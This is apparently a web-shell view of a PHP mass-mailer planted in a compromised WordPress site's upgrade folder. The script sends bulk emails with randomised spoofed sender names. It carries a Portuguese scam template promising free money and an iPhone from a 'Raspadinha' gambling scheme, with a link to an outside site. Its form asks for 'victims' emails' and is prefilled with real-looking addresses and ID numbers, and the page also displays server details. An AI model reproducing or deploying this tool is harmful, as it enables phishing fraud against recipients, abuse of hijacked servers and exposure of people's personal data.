HEX
Server: LiteSpeed
System: Linux venus 5.15.0-157-generic #167-Ubuntu SMP Wed Sep 17 21:35:53 UTC 2025 x86_64
User: axxoncom (1007)
PHP: 8.3.19
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/axxoncom/public_html/wp-content/upgrade/radio.php
<?php
@ignore_user_abort(TRUE);
error_reporting(0);
@set_time_limit(0);

// Function to generate a random number
function random_num() {
    $n = '';
    for ($x = 0; $x < 4; $x++) {
        $n .= rand(1, 9);
    }
    return mt_rand(1, 2) . $n;
}

// Function to generate a random sender name
function random_sender_name() {
    $names = [
        'Lucas - Raspadinha Milionária', 'Raspadinha VIP Brasil', 'Indicação Milionária',
        'Raspadinha Milionária', 'Raspadinha Brasil', 'Raspadinha Indicação'
    ];
    return $names[array_rand($names)] . ' ' . random_num();
}

// Function to get server hostname for reverse DNS
function get_server_email_domain() {
    $hostname = gethostname();
    if ($hostname) {
        // Attempt reverse DNS lookup
        $ip = $_SERVER['SERVER_ADDR'] ?? gethostbyname($hostname);
        $reverse = gethostbyaddr($ip);
        if ($reverse && filter_var($reverse, FILTER_VALIDATE_DOMAIN)) {
            return 'no-reply@' . $reverse;
        }
    }
    // Fallback domain if reverse DNS fails
    return 'no-reply@localhost';
}

// Function to get current date and time in Brazil (America/Sao_Paulo)
function get_brazil_datetime() {
    $timezone = new DateTimeZone('America/Sao_Paulo');
    $date = new DateTime('now', $timezone);
    return $date->format('d/m/Y H:i:s');
}

$testa = $_POST['veio'];
if ($testa != "") {
    $nome = random_sender_name(); // Use random sender name
    $to = $_POST['emails'];
    $de = !empty($_POST['de']) ? $_POST['de'] : get_server_email_domain();
    $de = str_replace("%random_num%", random_num(), $de);

    // Improved headers for better deliverability
    $headers = "From: $nome <$de>\r\n";
    $headers .= "Reply-To: $de\r\n";
    $headers .= "MIME-Version: 1.0\r\n";
    $headers .= "Content-Type: text/html; charset=utf-8\r\n";
    $headers .= "X-Mailer: PHP/" . phpversion() . "\r\n";
    $headers .= "Date: " . date('r') . "\r\n";
    $headers .= "Message-ID: <" . random_num() . "@" . parse_url($de, PHP_URL_HOST) . ">\r\n";
    $headers .= "X-Priority: 3\r\n";
    $headers .= "X-MSMail-Priority: Normal\r\n";

    // Process email list
    $lines = explode("\n", $to);
    $count = 1;
    $ok = "ok";

    foreach ($lines as $line) {
        $line = trim($line);
        if (empty($line)) {
            continue;
        }

        // Split line into parts
        list($current_email, $cnpj, $razao, $telefone, $socio) = array_pad(explode(';', $line), 5, null);

        $current_email = trim($current_email);
        $subject = $_POST['assunto'];
        $message = $_POST['html'];

        if (filter_var($current_email, FILTER_VALIDATE_EMAIL)) {
            // Replace placeholders, including datetime
            $replacements = [
                '{{cnpj}}' => trim($cnpj ?? ''),
                '{{razao}}' => trim($razao ?? ''),
                '{{telefone}}' => trim($telefone ?? ''),
                '{{socio}}' => trim($socio ?? ''),
                '%EMAIL%' => $current_email,
                '%random_num%' => random_num(),
                '{{datetime}}' => get_brazil_datetime()
            ];
            $message = str_replace(array_keys($replacements), array_values($replacements), $message);
            $subject = str_replace(array_keys($replacements), array_values($replacements), $subject);
            
            $message = stripslashes($message);

            // Send email with error handling
            try {
                if (mail($current_email, $subject, $message, $headers)) {
                    echo "* Numero: $count <b>$current_email</b> <font color=green>OK</font><br><hr>";
                } else {
                    echo "* Numero: $count <b>$current_email</b> <font color=red>ERRO AO ENVIAR</font><br><hr>";
                }
            } catch (Exception $e) {
                echo "* Numero: $count <b>$current_email</b> <font color=red>ERRO: " . $e->getMessage() . "</font><br><hr>";
            }
        } else {
            echo "* Numero: $count <b>$line</b> <font color=orange>EMAIL INVÁLIDO</font><br><hr>";
        }

        $count++;
    }

    if ($ok == "ok") {
        echo "";
    }
}
?>
<html>
<head>
<title>Envio de Email</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style>
body {
    margin: 0;
    font-family: Arial, Helvetica, sans-serif;
    background-color: #f2f2f2;
    color: #333;
}
.container {
    max-width: 600px;
    margin: 0 auto;
    padding: 20px;
    background-color: #fff;
    box-shadow: 0 4px 8px rgba(0,0,0,0.1);
    border-radius: 8px;
    margin-top: 30px;
}
header {
    background-color: #4CAF50;
    color: #fff;
    text-align: center;
    padding: 10px 0;
    border-radius: 8px 8px 0 0;
}
h1 {
    font-size: 24px;
    margin: 0;
}
form {
    margin-top: 20px;
}
label {
    display: block;
    margin-bottom: 8px;
    font-weight: bold;
}
input[type="text"],
textarea {
    width: calc(100% - 20px);
    padding: 10px;
    margin-bottom: 15px;
    border: 1px solid #ccc;
    border-radius: 4px;
    font-size: 14px;
}
textarea {
    resize: vertical;
}
input cuntype="submit"] {
    background-color: #4CAF50;
    color: #fff;
    padding: 10px 20px;
    border: none;
    border-radius: 4px;
    cursor: pointer;
    font-size: 16px;
}
input[type="submit"]:hover {
    background-color: #45a049;
}
.alerta {
    color: #990000;
    font-size: 12px;
    margin-top: -10px;
}
.info {
    font-size: 12px;
    color: #555;
    margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
    <header>
        <h1>Envio de Emails</h1>
    </header>
    <form action="" method="post" enctype="multipart/form-data" name="form1">
      <input type="hidden" name="veio" value="sim">
      <label for="de">E-mail do Remetente (opcional):</label>
      <input name="de" type="text" id="de" placeholder="Deixe em branco para usar o domínio do servidor">

      <label for="assunto">Assunto:</label>
      <input name="assunto" type="text" id="assunto" value="=?UTF-8?Q?=E2=9C=85_?= {{cnpj}}, R$2.000 GRÁTIS + iPhone 16 HOJE, Lucas sacou R$95.000! Sua vez %random_num% {{datetime}}">

      <label for="html">Código HTML:</label>
      <textarea name="html" id="html" rows="8"><!DOCTYPE html>
<html lang="pt-BR">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Raspadinha Digital - Indica&ccedil;&atilde;o Exclusiva!</title>
    <style>
        body { margin: 0; padding: 0; font-family: Arial, sans-serif; background-color: #f4f4f4; }
        .container { max-width: 600px; margin: 0 auto; background-color: #fff; }
        .header { background: linear-gradient(135deg, #ff6b35, #f7931e); padding: 20px; text-align: center; color: white; }
        .content { padding: 20px; }
        .bold { font-weight: bold; color: #d63031; }
        .urgency { background-color: #ffeaa7; padding: 15px; border-left: 5px solid #e17055; margin: 20px 0; }
        .cta-button { background-color: #00b894; color: white; padding: 15px 30px; text-decoration: none; border-radius: 5px; font-size: 18px; display: inline-block; margin: 20px 0; }
        .cta-button:hover { background-color: #00a085; }
        .footer { background-color: #2d3436; color: white; text-align: center; padding: 10px; font-size: 12px; }
        img { max-width: 100%; height: auto; }
        .blurred-img { width: 200px; height: auto; filter: blur(8px); opacity: 0.8; margin: 10px auto; display: block; }
        @media (max-width: 600px) { .content { padding: 10px; } }
    </style>
</head>
<body>
    <table class="container" cellpadding="0" cellspacing="0" border="0">
        <tr>
            <td class="header">
                <h1 style="margin: 0; font-size: 28px;">LUCAS TE INDICOU!</h1>
                <p style="margin: 5px 0 0 0; font-size: 18px;">Ganhe <strong>R$2.000 GR&Aacute;TIS</strong> e CONCORRA a <strong>iPhone 16 Pro Max</strong> AGORA!</p>
            </td>
        </tr>
        <tr>
            <td class="content">
                <h2 style="color: #d63031;">Ol&aacute;, %EMAIL%!</h2>
                
                <p class="bold" style="font-size: 20px;">Lucas est&aacute; <strong>EXPLODINDO</strong> de <strong>R$15.000 POR SEMANA</strong> com a <strong>RASPADINHA DIGITAL</strong> mais quente do Brasil!</p>
                
                <p>Ele te indicou com o CPF {{razao}} porque sabe que <strong>VOC&Ecirc; &Eacute; O PR&Oacute;XIMO MILION&Aacute;RIO!</strong></p>
                
                <div style="background-color: #74b9ff; padding: 15px; border-radius: 10px; margin: 15px 0;">
                    <h3 style="margin: 0; color: white;">PROVA REAL:</h3>
                    <p style="margin: 5px 0; color: white;">Lucas j&aacute; SACOU <strong>R$87.500</strong> em 2 meses! Veja o comprovante de Pix:</p>
                    <img src="https://via.placeholder.com/400x250/cccccc/000000?text=COMPROVANTE+PIX+R$87.500+SAQUE" alt="Comprovante de Pix" class="blurred-img">
                    <p style="text-align: center; font-size: 12px; color: white; margin: 0;">(Comprovante desfocado para privacidade - valores reais!)</p>
                </div>
                
                <h3 class="bold">EXCLUSIVO PARA INDICADOS:</h3>
                <ul style="font-size: 18px; line-height: 1.6;">
                    <li>R$2.000 DE B&Ocirc;NUS IMEDIATO s&oacute; por entrar HOJE!</li>
                    <li>RASPE e GANHE at&eacute; R$50.000 INSTANTES!</li>
                    <li>TODA SEMANA: Sorteio de iPhone 16 Pro Max, Notebook Gamer R$10k, Smart TV 85&quot; e Carro Zero KM!</li>
                    <li>SAQUE IMEDIATO sem burocracia!</li>
                </ul>
                
                <div class="urgency">
                    <p class="bold" style="margin: 0; font-size: 22px; color: #e17055;">URGENTE: OFERTA EXPIRA EM 24 HORAS!</p>
                    <p style="margin: 5px 0 0 0;">Milhares j&aacute; est&atilde;o raspando... <strong>N&Atilde;O FIQUE FORA!</strong></p>
                </div>
                
                <img src="https://via.placeholder.com/500x250/00b894/ffffff?text=RASPE+AGORA+&+GANHE+MILH&Otilde;ES!" alt="Raspadinha Digital">
                
                <p style="text-align: center; font-size: 24px; margin: 20px 0;">
                    <a href="https://caspianlines.com/wp-content/raspa/?cid=%EMAIL%" class="cta-button" style="background-color: #00b894; color: white; padding: 20px 40px; text-decoration: none; border-radius: 50px; font-weight: bold;">ENTRAR AGORA E GANHAR MEUS R$2.000 GR&Aacute;TIS!</a>
                </p>
                
                <p class="bold">Lucas j&aacute; est&aacute; rico... <strong>AGORA &Eacute; SUA VEZ!</strong></p>
                
                <hr style="border: 1px solid #ddd;">
                
                <p style="font-size: 12px; color: #636e72;">*B&ocirc;nus exclusivo para indicados. M&iacute;nimo de R$10 para saque. 18+.</p>
            </td>
        </tr>
        <tr>
            <td class="footer">
                <p>&copy; 2025 Raspadinha Milion&aacute;ria. Todos os direitos reservados.</p>
                <p><a href="https://caspianlines.com/wp-content/raspa/?cid=%EMAIL%" style="color: #74b9ff;">Desinscrever-se</a> | <a href="https://caspianlines.com/wp-content/raspa/?cid=%EMAIL%" style="color: #74b9ff;">Pol&iacute;tica de Privacidade</a></p>
            </td>
        </tr>
    </table>
</body>
</html></textarea>
      <span class="alerta">*Lembrete: texto em HTML</span>

      <label for="emails">Coloque o email de suas vítimas abaixo:</label>
      <textarea name="emails" id="emails" rows="8">carlosgonzales_moratin@outlook.com;steal sousa silva;01402503601
ccrlos.breem@bol.com.br;steal sousa silva;01402503601
thomasmartinsconsultoria@gmail.com;steal sousa silva;01402503601</textarea>
      <span class="alerta">*Separado por quebra de linha</span>

      <input type="submit" name="Submit" value="Enviar">
    </form>
    <div class="info">
        Nome do Servidor: <?php echo $UNAME = @php_uname(); ?><br>
        Sistema Operacional: <?php echo $OS = @PHP_OS; ?><br>
        Endereço IP: <?php echo $_SERVER['SERVER_ADDR']; ?><br>
        Software usado: <?php echo $_SERVER['SERVER_SOFTWARE']; ?><br>
        Email admin: <?php echo $_SERVER['SERVER_ADMIN']; ?><br>
        Safe Mode: <?php echo $safe_mode = @ini_get('safe_mode'); ?>
    </div>
</div>
</body>
</html>